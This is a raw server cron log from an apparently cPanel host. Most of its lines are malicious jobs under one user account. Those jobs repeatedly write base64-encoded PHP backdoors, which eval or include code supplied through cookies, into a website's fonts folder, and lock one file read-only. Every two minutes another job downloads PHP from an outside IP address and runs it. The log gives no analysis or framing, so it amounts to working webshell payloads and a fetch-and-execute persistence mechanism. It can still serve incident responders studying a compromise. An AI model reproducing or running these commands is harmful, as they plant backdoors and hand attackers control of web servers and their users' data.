Sep 21 21:49:01 ip-184-168-122-23 CROND[22879]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 21:49:01 ip-184-168-122-23 CROND[22878]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 21:49:01 ip-184-168-122-23 CROND[22880]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 21:49:01 ip-184-168-122-23 CROND[22881]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 21:50:01 ip-184-168-122-23 CROND[23005]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 21:50:01 ip-184-168-122-23 CROND[23008]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 21:50:01 ip-184-168-122-23 CROND[23007]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 21:50:01 ip-184-168-122-23 CROND[23009]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 21:50:01 ip-184-168-122-23 CROND[23010]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 21:50:01 ip-184-168-122-23 CROND[23013]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 21:50:01 ip-184-168-122-23 CROND[23012]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 21:50:01 ip-184-168-122-23 CROND[23011]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 21:50:01 ip-184-168-122-23 CROND[23014]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 21:51:01 ip-184-168-122-23 CROND[23138]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 21:51:01 ip-184-168-122-23 CROND[23139]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 21:51:01 ip-184-168-122-23 CROND[23140]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 21:51:01 ip-184-168-122-23 CROND[23141]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 21:52:01 ip-184-168-122-23 CROND[23242]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 21:52:01 ip-184-168-122-23 CROND[23243]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 21:52:01 ip-184-168-122-23 CROND[23246]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 21:52:01 ip-184-168-122-23 CROND[23245]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 21:52:01 ip-184-168-122-23 CROND[23248]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 21:53:01 ip-184-168-122-23 CROND[23353]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 21:53:01 ip-184-168-122-23 CROND[23355]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 21:53:01 ip-184-168-122-23 CROND[23357]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 21:53:01 ip-184-168-122-23 CROND[23356]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 21:54:01 ip-184-168-122-23 CROND[23521]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 21:54:01 ip-184-168-122-23 CROND[23524]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 21:54:01 ip-184-168-122-23 CROND[23525]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 21:54:01 ip-184-168-122-23 CROND[23526]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 21:54:01 ip-184-168-122-23 CROND[23523]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 21:55:01 ip-184-168-122-23 CROND[23638]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 21:55:01 ip-184-168-122-23 CROND[23640]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 21:55:01 ip-184-168-122-23 CROND[23642]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 21:55:01 ip-184-168-122-23 CROND[23641]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 21:55:01 ip-184-168-122-23 CROND[23643]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 21:55:01 ip-184-168-122-23 CROND[23644]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 21:56:01 ip-184-168-122-23 CROND[23765]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 21:56:01 ip-184-168-122-23 CROND[23767]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 21:56:01 ip-184-168-122-23 CROND[23770]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 21:56:01 ip-184-168-122-23 CROND[23766]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 21:56:01 ip-184-168-122-23 CROND[23769]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 21:57:01 ip-184-168-122-23 CROND[23864]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 21:57:01 ip-184-168-122-23 CROND[23866]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 21:57:01 ip-184-168-122-23 CROND[23869]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 21:57:01 ip-184-168-122-23 CROND[23871]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 21:58:01 ip-184-168-122-23 CROND[24056]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 21:58:01 ip-184-168-122-23 CROND[24058]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 21:58:01 ip-184-168-122-23 CROND[24059]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 21:58:01 ip-184-168-122-23 CROND[24060]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 21:58:01 ip-184-168-122-23 CROND[24061]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 21:59:01 ip-184-168-122-23 CROND[24166]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 21:59:01 ip-184-168-122-23 CROND[24167]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 21:59:01 ip-184-168-122-23 CROND[24168]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 21:59:01 ip-184-168-122-23 CROND[24169]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 22:00:01 ip-184-168-122-23 CROND[24281]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 22:00:01 ip-184-168-122-23 CROND[24282]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 22:00:01 ip-184-168-122-23 CROND[24284]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 22:00:01 ip-184-168-122-23 CROND[24287]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 22:00:01 ip-184-168-122-23 CROND[24292]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 22:00:01 ip-184-168-122-23 CROND[24293]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 22:00:01 ip-184-168-122-23 CROND[24295]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 22:00:01 ip-184-168-122-23 CROND[24296]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 22:00:01 ip-184-168-122-23 CROND[24294]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
